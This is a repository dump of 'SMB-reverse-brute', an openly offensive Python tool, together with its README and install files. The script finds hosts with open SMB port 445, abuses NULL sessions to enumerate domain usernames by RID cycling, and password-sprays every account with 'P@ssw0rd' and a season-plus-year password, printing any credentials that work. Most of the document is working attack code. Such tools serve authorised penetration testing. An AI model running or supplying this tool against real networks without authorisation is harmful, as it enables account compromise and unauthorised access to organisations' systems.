├── .gitignore ├── .gitmodules ├── Pipfile ├── install.sh ├── README.md ├── Pipfile.lock └── SMB-reverse-brute.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | *.swp 3 | *.nmap 4 | *.gnmap 5 | *.xml 6 | *.txt 7 | .venv 8 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "ridenum"] 2 | path = ridenum 3 | url = https://github.com/DanMcInerney/ridenum 4 | -------------------------------------------------------------------------------- /Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | url = "https://pypi.python.org/simple" 3 | verify_ssl = true 4 | 5 | [packages] 6 | netaddr = "*" 7 | pexpect = "*" 8 | asyncio = "*" 9 | python-libnmap = "*" 10 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | echo '[*] Initialing and updating submodules' 2 | git submodule init 3 | git submodule update 4 | echo '[*] Install pip then pipenv' 5 | apt-get install python-pip 6 | pip install pipenv 7 | echo '[*] Creating virtual environment' 8 | pipenv --three 9 | echo '[*] Installing requirements' 10 | pipenv install 11 | echo '[*] Done. Run `pipenv shell` then `python3 SMB-reverse-brute.py -x/-l `' 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | SMB-reverse-brute 2 | ------ 3 | Performs a 2 password reverse bruteforce against any hosts with NULL SMB sessions that allow RID cycling for usernames. Takes a hostlist file or an Nmap XML output file as input. 4 | 5 | * Takes input in form of Nmap XML or hostlist file 6 | * Finds any open 445 ports 7 | * Attempts a NULL SMB session (connecting over SMB without a password) 8 | * On success will perform RID cycling to gather domain usernames 9 | * Prevents account lockout by creating list of unique usernames and bruteforcing each one with two passwords: 10 | * P@ssw0rd 11 | * `` such as Summer2017 12 | 13 | 14 | #### Installation 15 | ``` 16 | git clone https://github.com/DanMcInerney/SMB-reverse-brute 17 | cd SMB-reverse-brute 18 | ./install.sh 19 | pipenv shell 20 | ``` 21 | 22 | #### Usage 23 | Read from Nmap XML file 24 | 25 | ```python SMB-reverse-brute.py -x nmapfile.xml``` 26 | 27 | 28 | Read from a hostlist of newline separated IPs or CIDR addresses. Also use your own password list. 29 | 30 | ```python SMB-reverse-brute.py -l hostlist.txt -p passwords.txt``` 31 | 32 | -------------------------------------------------------------------------------- /Pipfile.lock: -------------------------------------------------------------------------------- 1 | { 2 | "default": { 3 | "netaddr": { 4 | "version": "==0.7.19", 5 | "hash": "sha256:56b3558bd71f3f6999e4c52e349f38660e54a7a8a9943335f73dfc96883e08ca" 6 | }, 7 | "pexpect": { 8 | "version": "==4.2.1", 9 | "hash": "sha256:f853b52afaf3b064d29854771e2db509ef80392509bde2dd7a6ecf2dfc3f0018" 10 | }, 11 | "ptyprocess": { 12 | "version": "==0.5.2", 13 | "hash": "sha256:e8c43b5eee76b2083a9badde89fd1bbce6c8942d1045146e100b7b5e014f4f1a" 14 | }, 15 | "python-libnmap": { 16 | "version": "==0.7.0", 17 | "hash": "sha256:9d14919142395aaca952e129398f0c7371c0f0a034c63de6dad99cd7050177ad" 18 | }, 19 | "asyncio": { 20 | "version": "==3.4.3", 21 | "hash": "sha256:c4d18b22701821de07bd6aea8b53d21449ec0ec5680645e5317062ea21817d2d" 22 | } 23 | }, 24 | "develop": {}, 25 | "_meta": { 26 | "sources": [ 27 | { 28 | "url": "https://pypi.python.org/simple", 29 | "verify_ssl": true 30 | } 31 | ], 32 | "requires": {}, 33 | "hash": { 34 | "sha256": "b44e723c4a2e4f92b9327cae6830119a71d5aa28394d73abf0c91fcff6ece439" 35 | } 36 | } 37 | } -------------------------------------------------------------------------------- /SMB-reverse-brute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import os 5 | import time 6 | import asyncio 7 | import argparse 8 | import functools 9 | from netaddr import IPNetwork 10 | from datetime import datetime 11 | from itertools import zip_longest 12 | from libnmap.process import NmapProcess 13 | from asyncio.subprocess import PIPE, STDOUT 14 | from libnmap.parser import NmapParser, NmapParserException 15 | # debug 16 | #from IPython import embed 17 | 18 | def parse_args(): 19 | # Create the arguments 20 | parser = argparse.ArgumentParser() 21 | parser.add_argument("-l", "--hostlist", help="Host list file") 22 | parser.add_argument("-x", "--xml", help="path to Nmap XML file") 23 | parser.add_argument("-p", "--password-list", help="path to password list file") 24 | return parser.parse_args() 25 | 26 | def parse_nmap(args): 27 | ''' 28 | Either performs an Nmap scan or parses an Nmap xml file 29 | Will either return the parsed report or exit script 30 | ''' 31 | if args.xml: 32 | report = NmapParser.parse_fromfile(args.xml) 33 | elif args.hostlist: 34 | hosts = [] 35 | with open(args.hostlist, 'r') as hostlist: 36 | host_lines = hostlist.readlines() 37 | for line in host_lines: 38 | line = line.strip() 39 | if '/' in line: 40 | hosts += [str(ip) for ip in IPNetwork(line)] 41 | elif '*' in line: 42 | sys.exit('[-] CIDR notation only in the host list e.g. 10.0.0.0/24') 43 | else: 44 | hosts.append(line) 45 | report = nmap_scan(hosts) 46 | else: 47 | print('Use the "-x [path/to/nmap-output.xml]" option if you already have an Nmap XML file \ 48 | or "-l [hostlist.txt]" option to run an Nmap scan with a hostlist file.') 49 | sys.exit() 50 | return report 51 | 52 | def nmap_scan(hosts): 53 | ''' 54 | Do Nmap scan 55 | ''' 56 | # This is top 1000 tcp + top 50 UDP scan 57 | # Nmap has chosen not to do --top-udp/tcp-ports options due to not wanting to overcomplicate 58 | # the cmd line interface 59 | nmap_args = '-sS -n --max-retries 5 -p 445 -oA smb-scan' 60 | nmap_proc = NmapProcess(targets=hosts, options=nmap_args, safe_mode=False) 61 | rc = nmap_proc.sudo_run_background() 62 | nmap_status_printer(nmap_proc) 63 | report = NmapParser.parse_fromfile(os.getcwd()+'/smb-scan.xml') 64 | 65 | return report 66 | 67 | def nmap_status_printer(nmap_proc): 68 | ''' 69 | Prints that Nmap is running 70 | ''' 71 | i = -1 72 | while nmap_proc.is_running(): 73 | i += 1 74 | x = -.5 75 | # Every 30 seconds print that Nmap is still running 76 | if i % 30 == 0: 77 | x += .5 78 | print("[*] Nmap running: {} min".format(str(i))) 79 | time.sleep(1) 80 | 81 | def get_hosts(report): 82 | ''' 83 | Gets list of hosts with port 445 open 84 | ''' 85 | hosts = [] 86 | for host in report.hosts: 87 | if host.is_up(): 88 | for s in host.services: 89 | if s.port == 445: 90 | if s.state == 'open': 91 | ip = host.address 92 | print('[+] SMB open: {}'.format(ip)) 93 | hosts.append(ip) 94 | if len(hosts) == 0: 95 | sys.exit('[-] No hosts were found with port 445 open') 96 | return hosts 97 | 98 | def coros_pool(worker_count, commands): 99 | ''' 100 | A pool without a pool library 101 | ''' 102 | coros = [] 103 | if len(commands) > 0: 104 | while len(commands) > 0: 105 | for i in range(worker_count): 106 | # Prevents crash if [commands] isn't divisible by 5 107 | if len(commands) > 0: 108 | coros.append(get_output(commands.pop())) 109 | else: 110 | return coros 111 | return coros 112 | 113 | def async_get_outputs(loop, commands): 114 | ''' 115 | Asynchronously run commands and get get their output in a list 116 | ''' 117 | output = [] 118 | 119 | if len(commands) == 0: 120 | return output 121 | 122 | # Get commands output in parallel 123 | worker_count = len(commands) 124 | if worker_count > 10: 125 | worker_count = 10 126 | 127 | # Create pool of coroutines 128 | coros = coros_pool(worker_count, commands) 129 | 130 | # Run the pool of coroutines 131 | if len(coros) > 0: 132 | output += loop.run_until_complete(asyncio.gather(*coros)) 133 | 134 | return output 135 | 136 | def create_cmds(hosts, cmd): 137 | ''' 138 | Creates the list of comands to run 139 | cmd looks likes "rpcclient ... {}" 140 | ''' 141 | commands = [] 142 | for ip in hosts: 143 | formatted_cmd = 'echo {} && '.format(ip) + cmd.format(ip) 144 | commands.append(formatted_cmd) 145 | return commands 146 | 147 | def get_null_sess_hosts(output): 148 | ''' 149 | Gets a list of all hosts vulnerable to SMB null sessions 150 | ''' 151 | null_sess_hosts = {} 152 | # output is a list of rpcclient output 153 | for out in output: 154 | if 'Domain Name:' in out: 155 | out = out.splitlines() 156 | ip = out[0] 157 | # Just get domain name 158 | dom = out[1].split()[2] 159 | # Just get domain SID 160 | dom_sid = out[2].split()[2] 161 | null_sess_hosts[ip] = (dom, dom_sid) 162 | 163 | return null_sess_hosts 164 | 165 | def print_domains(null_sess_hosts): 166 | ''' 167 | Prints the unique domains 168 | ''' 169 | uniq_doms = [] 170 | for key,val in null_sess_hosts.items(): 171 | dom_name = val[0] 172 | if dom_name not in uniq_doms: 173 | uniq_doms.append(dom_name) 174 | 175 | if len(uniq_doms) > 0: 176 | for d in uniq_doms: 177 | print('[+] Domain found: ' + d) 178 | 179 | @asyncio.coroutine 180 | def get_output(cmd): 181 | ''' 182 | Performs async OS commands 183 | ''' 184 | p = yield from asyncio.create_subprocess_shell(cmd, stdin=PIPE, stdout=PIPE, stderr=STDOUT) 185 | # Output returns in byte string so we decode to utf8 186 | return (yield from p.communicate())[0].decode('utf8') 187 | 188 | def get_usernames(ridenum_output): 189 | 190 | ip_users = {} 191 | for host in ridenum_output: 192 | out_lines = host.splitlines() 193 | ip = out_lines[0] 194 | for line in out_lines: 195 | # No machine accounts 196 | if 'Account name:' in line and "$" not in line: 197 | user = line.split()[2] 198 | if ip in ip_users: 199 | ip_users[ip] += [user] 200 | else: 201 | ip_users[ip] = [user] 202 | 203 | return ip_users 204 | 205 | def create_brute_cmds(ip_users, passwords): 206 | ''' 207 | Creates the bruteforce commands 208 | ''' 209 | already_tested = [] 210 | cmds = [] 211 | for ip,users in ip_users.items(): 212 | for user in ip_users[ip]: 213 | if user not in already_tested: 214 | already_tested.append(user) 215 | print('[+] User found: ' + user) 216 | rpc_user_pass = [] 217 | for pw in passwords: 218 | #cmds.append('echo {} && rpcclient -U \ 219 | #"{}%{}" {} -c "exit"'.format(ip, user, pw, ip)) 220 | cmd = "echo {} && rpcclient -U \"{}%{}\" {} -c 'exit'".format(ip, user, pw, ip) 221 | # This is so when you get the output from the coros 222 | # you get the username and pw too 223 | cmd2 = "echo '{}' ".format(cmd)+cmd 224 | cmds.append(cmd2) 225 | 226 | return cmds 227 | 228 | def create_passwords(args): 229 | ''' 230 | Creates the passwords based on default AD requirements 231 | or user-defined values 232 | ''' 233 | if args.password_list: 234 | with open(args.password_list, 'r') as f: 235 | # We have to be careful with .strip() 236 | # because password could contain a space 237 | passwords = [line.rstrip() for line in f] 238 | else: 239 | season_pw = create_season_pw() 240 | other_pw = "P@ssw0rd" 241 | passwords = [season_pw, other_pw] 242 | 243 | return passwords 244 | 245 | def create_season_pw(): 246 | ''' 247 | Turn the date into the season + the year 248 | ''' 249 | # Get the current day of the year 250 | doy = datetime.today().timetuple().tm_yday 251 | year = str(datetime.today().year) 252 | 253 | spring = range(80, 172) 254 | summer = range(172, 264) 255 | fall = range(264, 355) 256 | # winter = everything else 257 | 258 | if doy in spring: 259 | season = 'Spring' 260 | elif doy in summer: 261 | season = 'Summer' 262 | elif doy in fall: 263 | season = 'Fall' 264 | else: 265 | season = 'Winter' 266 | 267 | season_pw = season+year 268 | return season_pw 269 | 270 | def main(report, args): 271 | 272 | # {ip:'domain name: xxx', 'domain sid: xxx'} 273 | null_sess_hosts = {} 274 | 275 | # get_hosts will exit script if no hosts are found 276 | print('[*] Parsing hosts') 277 | hosts = get_hosts(report) 278 | loop = asyncio.get_event_loop() 279 | dom_cmd = 'rpcclient -U "" {} -N -c "lsaquery"' 280 | dom_cmds = create_cmds(hosts, dom_cmd) 281 | print('[*] Checking for NULL SMB sessions') 282 | rpc_output = async_get_outputs(loop, dom_cmds) 283 | 284 | # {ip:'domain_name', 'domain_sid'} 285 | chunk_null_sess_hosts = get_null_sess_hosts(rpc_output) 286 | 287 | # Create master list of null session hosts 288 | null_sess_hosts.update(chunk_null_sess_hosts) 289 | if len(null_sess_hosts) == 0: 290 | sys.exit('[-] No null SMB sessions available') 291 | print_domains(null_sess_hosts) 292 | 293 | # Gather usernames using ridenum.py 294 | print('[*] Checking for usernames') 295 | ridenum_cmd = 'python ridenum/ridenum.py {} 500 50000' 296 | ridenum_cmds = create_cmds(hosts, ridenum_cmd) 297 | ridenum_output = async_get_outputs(loop, ridenum_cmds) 298 | if len(ridenum_output) == 0: 299 | sys.exit('[-] No usernames found') 300 | 301 | # {ip:username, username2], ip2:[username, username2]} 302 | ip_users = get_usernames(ridenum_output) 303 | passwords = create_passwords(args) 304 | 305 | # Creates a list of unique commands which only tests 306 | # each username/password combo 2 times and not more 307 | brute_cmds = create_brute_cmds(ip_users, passwords) 308 | brute_output = async_get_outputs(loop, brute_cmds) 309 | parse_brute_output(brute_output) 310 | loop.close() 311 | 312 | def parse_brute_output(brute_output): 313 | ''' 314 | Parse the chunk of rpcclient attempted logins 315 | ''' 316 | print('[*] Checking passwords against accounts') 317 | pw_found = False 318 | for line in brute_output: 319 | # Missing second line of output means we have a hit 320 | if len(line.splitlines()) == 1: 321 | pw_found = True 322 | split = line.split() 323 | ip = split[1] 324 | user_pw = split[5].replace('"','').replace('%',':') 325 | print('[!] Password found! ' + user_pw) 326 | 327 | if pw_found == False: 328 | print('[-] No passwords found') 329 | 330 | if __name__ == "__main__": 331 | 332 | args = parse_args() 333 | if os.geteuid(): 334 | exit('[-] Run as root') 335 | report = parse_nmap(args) 336 | 337 | main(report, args) 338 | --------------------------------------------------------------------------------